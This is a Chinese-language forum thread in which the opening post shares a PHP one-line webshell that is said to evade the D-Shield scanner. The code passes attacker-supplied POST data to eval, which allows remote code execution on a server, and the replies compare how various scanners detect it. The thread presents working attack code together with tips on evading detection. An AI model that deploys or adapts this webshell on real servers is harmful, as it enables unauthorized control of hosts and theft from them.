导航

PHP 过D盾一句话

#1
在服务器里发现的,看着免D盾,别的没测,蚁剑也可以正常连接
看着还行 发出来大家研究研究,不知道有没有人发过
<?php
function love()
{
global $A;
$A=TT();
eval("\"$A\"");
}
function TT()
{
        $a=str_replace('','',$_POST[1]);
        
        return '";'.$a.'//';
}
love();
?>

2021-11-30
#2
有eval竟然没查出来?
2021-11-30
#3
身手不错过了.
我是坐地炮&nbsp;_坐爷,南山打过虎北山套过狼。
2021-12-01
#4
用河马试过了,被干掉了~
2021-12-01
#5
回复 2# xiaoyu
没查出来,跟这个关系不大
2021-12-01
#6
回复 4# AnHen
很少用那东西,有想法可以在基础上改改
2021-12-02
#7
D哥那个webshell查杀还是有反应的,报了个二级。
这个网站主动防御反倒是没报。。估计规则库不一样。
2021-12-03
#8
特征这么明显竟然没杀,卧槽?